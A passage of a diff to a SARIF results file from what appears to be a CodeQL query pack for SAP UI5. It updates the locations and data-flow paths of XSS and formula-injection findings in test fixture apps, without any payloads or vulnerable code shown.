-            "endColumn" : 30
+            "startLine" : 5,
+            "startColumn" : 5,
+            "endLine" : 7,
+            "endColumn" : 29
           }
         },
         "message" : {
@@ -16123,9 +18142,9 @@
       "ruleId" : "js/ui5-xss",
       "rule" : {
         "id" : "js/ui5-xss",
-        "index" : 1,
+        "index" : 0,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
@@ -16134,19 +18153,19 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 73
+            "index" : 276
           },
           "region" : {
             "startLine" : 8,
             "startColumn" : 5,
-            "endColumn" : 50
+            "endColumn" : 37
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "74b35e217af6aa05:1",
+        "primaryLocationLineHash" : "97b29ed20ac04ff0:1",
         "primaryLocationStartColumnFingerprint" : "0"
       },
       "codeFlows" : [ {
@@ -16155,9 +18174,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 73
+                  "index" : 276
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16174,32 +18193,32 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 68
+                  "index" : 271
                 },
                 "region" : {
-                  "startLine" : 10,
-                  "startColumn" : 17,
-                  "endColumn" : 28
+                  "startLine" : 8,
+                  "startColumn" : 40,
+                  "endColumn" : 63
                 }
               },
               "message" : {
-                "text" : "input: null"
+                "text" : "\"contro ... l.json\""
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 73
+                  "index" : 276
                 },
                 "region" : {
                   "startLine" : 8,
                   "startColumn" : 5,
-                  "endColumn" : 50
+                  "endColumn" : 37
                 }
               },
               "message" : {
@@ -16213,9 +18232,9 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 73
+            "index" : 276
           },
           "region" : {
             "startLine" : 5,
@@ -16232,9 +18251,9 @@
       "ruleId" : "js/ui5-xss",
       "rule" : {
         "id" : "js/ui5-xss",
-        "index" : 1,
+        "index" : 0,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
@@ -16243,19 +18262,19 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 204
+            "index" : 284
           },
           "region" : {
-            "startLine" : 9,
-            "startColumn" : 5,
-            "endColumn" : 40
+            "startLine" : 8,
+            "startColumn" : 11,
+            "endColumn" : 34
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "9caa0f252fbe2993:1",
+        "primaryLocationLineHash" : "5edd24be658b61a4:1",
         "primaryLocationStartColumnFingerprint" : "0"
       },
       "codeFlows" : [ {
@@ -16264,31 +18283,30 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 204
+                  "index" : 284
                 },
                 "region" : {
                   "startLine" : 5,
-                  "startColumn" : 5,
-                  "endLine" : 7,
-                  "endColumn" : 29
+                  "startColumn" : 11,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "value={/input}"
+                "text" : "data-value={/input}"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 200
+                  "index" : 280
                 },
                 "region" : {
-                  "startLine" : 31,
+                  "startLine" : 9,
                   "startColumn" : 17,
                   "endColumn" : 28
                 }
@@ -16301,90 +18319,18 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 200
-                },
-                "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 25,
-                  "endColumn" : 53
-                }
-              },
-              "message" : {
-                "text" : "oModel. ... input')"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 200
-                },
-                "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 17,
-                  "endColumn" : 53
-                }
-              },
-              "message" : {
-                "text" : "input"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 200
-                },
-                "region" : {
-                  "startLine" : 10,
-                  "startColumn" : 44,
-                  "endColumn" : 49
-                }
-              },
-              "message" : {
-                "text" : "input"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 200
-                },
-                "region" : {
-                  "startLine" : 32,
-                  "startColumn" : 17,
-                  "endColumn" : 30
-                }
-              },
-              "message" : {
-                "text" : "output1: null"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 204
+                  "index" : 284
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 5,
-                  "endColumn" : 40
+                  "startLine" : 8,
+                  "startColumn" : 11,
+                  "endColumn" : 34
                 }
               },
               "message" : {
-                "text" : "content={/output1}"
+                "text" : "data-content={/input}"
               }
             }
           } ]
@@ -16394,15 +18340,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 204
+            "index" : 284
           },
           "region" : {
             "startLine" : 5,
-            "startColumn" : 5,
-            "endLine" : 7,
-            "endColumn" : 29
+            "startColumn" : 11,
+            "endColumn" : 32
           }
         },
         "message" : {
@@ -16413,30 +18358,30 @@
       "ruleId" : "js/ui5-xss",
       "rule" : {
         "id" : "js/ui5-xss",
-        "index" : 1,
+        "index" : 0,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
-        "text" : "XSS vulnerability due to [user-provided value](1)."
+        "text" : "XSS vulnerability due to [user-provided value](1).\nXSS vulnerability due to [user-provided value](2)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 204
+            "index" : 339
           },
           "region" : {
-            "startLine" : 17,
+            "startLine" : 22,
             "startColumn" : 5,
-            "endColumn" : 40
+            "endColumn" : 38
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "2963bbd458e69924:1",
+        "primaryLocationLineHash" : "6e0d8f690e30e24a:1",
         "primaryLocationStartColumnFingerprint" : "0"
       },
       "codeFlows" : [ {
@@ -16445,90 +18390,114 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 200
+                  "index" : 339
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 31,
-                  "endColumn" : 60
+                  "startLine" : 8,
+                  "startColumn" : 5,
+                  "endLine" : 10,
+                  "endColumn" : 27
                 }
               },
               "message" : {
-                "text" : "oEvent. ... Value()"
+                "text" : "value={/input}"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 200
+                  "index" : 335
                 },
                 "region" : {
-                  "startLine" : 18,
+                  "startLine" : 9,
                   "startColumn" : 17,
-                  "endColumn" : 60
+                  "endColumn" : 28
                 }
               },
               "message" : {
-                "text" : "sInputValue"
+                "text" : "input: null"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 200
+                  "index" : 339
                 },
                 "region" : {
-                  "startLine" : 19,
-                  "startColumn" : 44,
-                  "endColumn" : 55
+                  "startLine" : 22,
+                  "startColumn" : 5,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "sInputValue"
+                "text" : "content={/input}"
+              }
+            }
+          } ]
+        } ]
+      }, {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 339
+                },
+                "region" : {
+                  "startLine" : 15,
+                  "startColumn" : 5,
+                  "endLine" : 18,
+                  "endColumn" : 29
+                }
+              },
+              "message" : {
+                "text" : "value={/input}"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 200
+                  "index" : 335
                 },
                 "region" : {
-                  "startLine" : 34,
+                  "startLine" : 9,
                   "startColumn" : 17,
-                  "endColumn" : 30
+                  "endColumn" : 28
                 }
               },
               "message" : {
-                "text" : "output3: null"
+                "text" : "input: null"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 204
+                  "index" : 339
                 },
                 "region" : {
-                  "startLine" : 17,
+                  "startLine" : 22,
                   "startColumn" : 5,
-                  "endColumn" : 40
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "content={/output3}"
+                "text" : "content={/input}"
               }
             }
           } ]
@@ -16538,14 +18507,33 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 200
+            "index" : 339
           },
           "region" : {
-            "startLine" : 18,
-            "startColumn" : 31,
-            "endColumn" : 60
+            "startLine" : 8,
+            "startColumn" : 5,
+            "endLine" : 10,
+            "endColumn" : 27
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      }, {
+        "id" : 2,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 339
+          },
+          "region" : {
+            "startLine" : 15,
+            "startColumn" : 5,
+            "endLine" : 18,
+            "endColumn" : 29
           }
         },
         "message" : {
@@ -16553,34 +18541,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/ui5-xss",
+      "ruleId" : "js/ui5-formula-injection",
       "rule" : {
-        "id" : "js/ui5-xss",
+        "id" : "js/ui5-formula-injection",
         "index" : 1,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
-        "text" : "XSS vulnerability due to [user-provided value](1)."
+        "text" : "The content of a saved file depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 211
+            "index" : 90
           },
           "region" : {
-            "startLine" : 8,
-            "startColumn" : 5,
-            "endColumn" : 37
+            "startLine" : 17,
+            "startColumn" : 27,
+            "endColumn" : 45
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "97b29ed20ac04ff0:1",
-        "primaryLocationStartColumnFingerprint" : "0"
+        "primaryLocationLineHash" : "41899ff1a967017d:1",
+        "primaryLocationStartColumnFingerprint" : "10"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -16588,9 +18576,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 211
+                  "index" : 94
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16607,9 +18595,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 207
+                  "index" : 91
                 },
                 "region" : {
                   "startLine" : 9,
@@ -16625,18 +18613,36 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 211
+                  "index" : 90
                 },
                 "region" : {
                   "startLine" : 8,
-                  "startColumn" : 5,
-                  "endColumn" : 37
+                  "startColumn" : 23,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "content={/input}"
+                "text" : "{ type: \"int\" }"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 90
+                },
+                "region" : {
+                  "startLine" : 17,
+                  "startColumn" : 27,
+                  "endColumn" : 45
+                }
+              },
+              "message" : {
+                "text" : "oControl.getText()"
               }
             }
           } ]
@@ -16646,9 +18652,9 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 211
+            "index" : 94
           },
           "region" : {
             "startLine" : 5,
@@ -16662,34 +18668,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/ui5-xss",
+      "ruleId" : "js/ui5-formula-injection",
       "rule" : {
-        "id" : "js/ui5-xss",
+        "id" : "js/ui5-formula-injection",
         "index" : 1,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
-        "text" : "XSS vulnerability due to [user-provided value](1)."
+        "text" : "The content of a saved file depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 220
+            "index" : 99
           },
           "region" : {
-            "startLine" : 8,
-            "startColumn" : 5,
-            "endColumn" : 38
+            "startLine" : 23,
+            "startColumn" : 27,
+            "endColumn" : 39
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "1406455ac263a2d9:1",
-        "primaryLocationStartColumnFingerprint" : "0"
+        "primaryLocationLineHash" : "9afa5fd07ee36af6:1",
+        "primaryLocationStartColumnFingerprint" : "10"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -16697,9 +18703,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 220
+                  "index" : 106
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16716,167 +18722,162 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 216
+                  "index" : 100
                 },
                 "region" : {
-                  "startLine" : 12,
-                  "startColumn" : 26,
-                  "endColumn" : 46
+                  "startLine" : 9,
+                  "startColumn" : 17,
+                  "endColumn" : 28
                 }
               },
               "message" : {
-                "text" : "new JSONModel(oData)"
+                "text" : "input: null"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 220
+                  "index" : 99
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 5,
-                  "endColumn" : 38
+                  "startLine" : 9,
+                  "startColumn" : 23,
+                  "endColumn" : 41
                 }
               },
               "message" : {
-                "text" : "content={/output}"
+                "text" : "{ type: \"string\" }"
               }
             }
-          } ]
-        } ]
-      }, {
-        "threadFlows" : [ {
-          "locations" : [ {
+          }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 220
+                  "index" : 99
                 },
                 "region" : {
-                  "startLine" : 5,
-                  "startColumn" : 5,
-                  "endLine" : 7,
-                  "endColumn" : 29
+                  "startLine" : 15,
+                  "startColumn" : 29,
+                  "endColumn" : 47
                 }
               },
               "message" : {
-                "text" : "value={/input}"
+                "text" : "oControl.getText()"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 216
+                  "index" : 99
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 17,
-                  "endColumn" : 28
+                  "startLine" : 15,
+                  "startColumn" : 21,
+                  "endColumn" : 47
                 }
               },
               "message" : {
-                "text" : "input: null"
+                "text" : "value"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 216
+                  "index" : 99
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 25,
-                  "endColumn" : 53
+                  "startLine" : 17,
+                  "startColumn" : 53,
+                  "endColumn" : 58
                 }
               },
               "message" : {
-                "text" : "oModel. ... input')"
+                "text" : "value"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 216
+                  "index" : 99
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 17,
-                  "endColumn" : 53
+                  "startLine" : 17,
+                  "startColumn" : 46,
+                  "endColumn" : 59
                 }
               },
               "message" : {
-                "text" : "input"
+                "text" : "String(value)"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 216
+                  "index" : 99
                 },
                 "region" : {
-                  "startLine" : 16,
-                  "startColumn" : 43,
-                  "endColumn" : 48
+                  "startLine" : 17,
+                  "startColumn" : 36,
+                  "endColumn" : 60
                 }
               },
               "message" : {
-                "text" : "input"
+                "text" : "encodeX ... value))"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 216
+                  "index" : 99
                 },
                 "region" : {
-                  "startLine" : 10,
-                  "startColumn" : 17,
-                  "endColumn" : 29
+                  "startLine" : 17,
+                  "startColumn" : 21,
+                  "endColumn" : 60
                 }
               },
               "message" : {
-                "text" : "output: null"
+                "text" : "xssSanitized"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 220
+                  "index" : 99
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 5,
-                  "endColumn" : 38
+                  "startLine" : 23,
+                  "startColumn" : 27,
+                  "endColumn" : 39
                 }
               },
               "message" : {
-                "text" : "content={/output}"
+                "text" : "xssSanitized"
               }
             }
           } ]
@@ -16886,9 +18887,9 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 220
+            "index" : 106
           },
           "region" : {
             "startLine" : 5,
@@ -16902,34 +18903,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/ui5-xss",
+      "ruleId" : "js/ui5-formula-injection",
       "rule" : {
-        "id" : "js/ui5-xss",
+        "id" : "js/ui5-formula-injection",
         "index" : 1,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
-        "text" : "XSS vulnerability due to [user-provided value](1)."
+        "text" : "The content of a saved file depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 237
+            "index" : 108
           },
           "region" : {
-            "startLine" : 8,
-            "startColumn" : 5,
-            "endColumn" : 37
+            "startLine" : 16,
+            "startColumn" : 23,
+            "endColumn" : 51
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "97b29ed20ac04ff0:1",
-        "primaryLocationStartColumnFingerprint" : "0"
+        "primaryLocationLineHash" : "e701acdf85af03b4:1",
+        "primaryLocationStartColumnFingerprint" : "10"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -16937,9 +18938,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 237
+                  "index" : 111
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16956,36 +18957,36 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 232
+                  "index" : 108
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 40,
-                  "endColumn" : 63
+                  "startLine" : 10,
+                  "startColumn" : 17,
+                  "endColumn" : 28
                 }
               },
               "message" : {
-                "text" : "\"contro ... l.json\""
+                "text" : "input: null"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
